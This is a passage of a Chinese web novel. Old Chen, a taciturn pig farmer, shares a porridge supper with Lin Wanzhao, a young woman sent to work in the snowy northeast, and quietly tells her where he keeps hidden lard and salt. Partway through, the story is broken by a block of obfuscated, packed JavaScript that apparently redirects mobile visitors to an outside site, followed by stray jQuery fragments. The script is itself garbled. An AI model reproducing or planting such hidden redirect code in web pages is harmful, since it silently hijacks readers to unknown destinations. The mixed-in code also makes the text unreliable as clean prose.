结实耐用。

    “陈伯，您手艺真好。”她轻声说了一句，带着真诚的赞叹。

    老陈头动作顿了顿，没抬头，只闷闷地“嗯”了一声，但手上的力道似乎柔和了一丝。过了一会儿，他忽然开口，声音依旧低哑：“东北冬天长，猪要养膘，光吃草不行。豆饼金贵，但顶事。开春前，得省着用。”

    这是在教她。林晚照认真点头：“我记住了，陈伯。”

    “明天，跟我去甸子打草。”老陈头又说，“趁雪冻硬了，好走车。”

    打草？这意味着可以离开养猪场范围，虽然可能只是附近的荒草甸子，但毕竟是外出的机会。林晚照心中一凛，面上却不动声色，只应道：“好。”

    傍晚，喂完第二遍猪食，清理完毕，天色已经暗下来。老陈头提着一盏小马灯，示意林晚照跟上。他们回到工具房旁边的灶间，老陈头从自己带来的布袋里掏出两个土豆和一小块咸菜疙瘩，又指了指林晚照那份口粮里的一个萝卜。

    “煮一锅。”他说。

    林晚照立刻动手，将土豆萝卜洗净切块（冻得硬邦邦，切起来很费劲），和咸菜一起放进小铁锅，加上雪水，在灶上煮。老陈头则拿出一个小布包，里面是更精细一些的玉米面，他舀出两勺，用凉水调成糊，等锅里的菜汤滚开，细细地撒进去，搅成一锅稠稠的菜粥。

    食物的香气在冰冷的灶间弥漫开来。这是林晚照来到这里后，闻到的第一顿像样的饭食香气。不是猪食的酸腐，而是粮食和蔬菜混合的、朴素的香味。

    两人就着灶膛的余温，沉默地喝着热腾腾的菜粥。粗糙的粥温暖了肠胃，也驱散了一天的疲惫和寒意。

    “你，南方人？”老陈头忽然问，眼睛看着灶膛里跳跃的火星。

    林晚照心头微紧，放下碗，低声道：“是。”

    “受苦了。”老陈头没追问，只是叹了口气，“这疙瘩，冬天能冻死人。能挺过来，不易。”

    这话里没有试探，只有一种历经沧桑后的平淡陈述。林晚照鼻子莫名一酸，低低“嗯”了一声。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16920558|191601||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    “猪圈东头，墙角第三块砖下面，有个小罐子，里面有点猪油和盐。”老陈头用木棍拨了拨火，声音几乎被柴禾的噼啪声掩盖，“夜里冷得受不了，就抹点。手脚冻伤了，也用那个。”

    林晚照愣住了。这是老人自己偷偷存的“私货”，在物资极度匮乏的年代，这点猪油和盐可能是他攒了很久的宝贝。

    “陈伯，我……”

    “拿着。”老陈头打断她，站起身，佝偻的背影在火光下拉得很长，“明天早点起。打草累。”说完，他提着小马灯，一瘸一拐地走进了风雪里，回他自己的住处去了。

    工具房里，只剩下林晚照一个人，和那锅还温热的粥，以及老人那句轻描淡写却重若千钧的“拿着”。

    她坐在灶膛前，火光映着她的脸。手腕上的银镯安安静静。树苗的意念传来一丝温和的暖意。身体的疲惫和伤痛依旧清晰，但心里某个地方，却因为这一锅粥、一句提醒、一罐猪油，而悄然松动。

    她忽然想起赵卫国，想起王大山连长锐利却最终留有余地的眼神，想起老陈头沉默的接纳和隐秘的关怀。这个时代，这个被风雪覆盖的北大